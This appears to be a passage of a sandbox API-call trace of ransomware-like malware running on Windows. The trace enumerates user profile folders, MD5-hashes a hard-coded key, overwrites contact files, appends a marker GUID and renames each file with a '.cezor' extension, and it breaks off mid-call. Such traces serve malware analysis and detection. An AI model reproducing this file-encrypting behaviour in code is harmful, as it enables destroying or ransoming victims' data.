PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.669] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0059.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.670] PathFindFileNameW (pszPath="") returned="" [0059.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.670] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.670] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe6e3250, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe6e3250, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0059.670] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0059.670] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0059.670] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0059.670] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.670] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.670] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0059.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.670] PathFindFileNameW (pszPath="") returned="" [0059.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa9ff1f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa9ff1f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0059.671] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.671] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0059.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.671] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.671] PathFindFileNameW (pszPath="") returned="" [0059.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.671] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.671] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0059.671] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0059.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.672] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1178) returned 1 [0059.672] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.675] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.675] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.676] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x49a, lpOverlapped=0x0) returned 1 [0059.676] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.676] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.676] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.676] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.677] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.677] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.677] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.677] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.677] GetLastError () returned 0x0 [0059.677] SetLastError (dwErrCode=0x0) [0059.677] GetLastError () returned 0x0 [0059.677] SetLastError (dwErrCode=0x0) [0059.677] GetLastError () returned 0x0 [0059.677] SetLastError (dwErrCode=0x0) [0059.677] GetLastError () returned 0x0 [0059.677] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] GetLastError () returned 0x0 [0059.678] SetLastError (dwErrCode=0x0) [0059.678] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.678] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.678] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.679] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.679] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.679] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.679] CloseHandle (hObject=0x5c4) returned 1 [0059.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.719] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.719] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.719] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.cezor")) returned 1 [0059.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.720] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.721] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0059.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.721] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.721] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.721] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0059.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.721] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=68382) returned 1 [0059.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.724] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.724] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.725] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.725] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.725] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0059.726] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.726] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.726] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.726] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.727] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.727] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.727] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.727] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.727] GetLastError () returned 0x0 [0059.727] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.728] SetLastError (dwErrCode=0x0) [0059.728] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] GetLastError () returned 0x0 [0059.729] SetLastError (dwErrCode=0x0) [0059.729] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.729] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.730] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.730] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.730] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.730] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.730] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10b20) returned 0x312a418 [0059.730] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.730] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.730] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a418*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x312a418*, lpNumberOfBytesWritten=0x9aafb24*=0x10b19, lpOverlapped=0x0) returned 1 [0059.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.733] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.733] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0059.733] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.733] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.733] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.733] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.733] CloseHandle (hObject=0x5c4) returned 1 [0059.734] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.734] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.734] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.cezor")) returned 1 [0059.735] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.735] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.736] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0059.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.736] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0059.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.736] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1171) returned 1 [0059.736] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.739] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x46d, lpNewFilePointer=0x0, 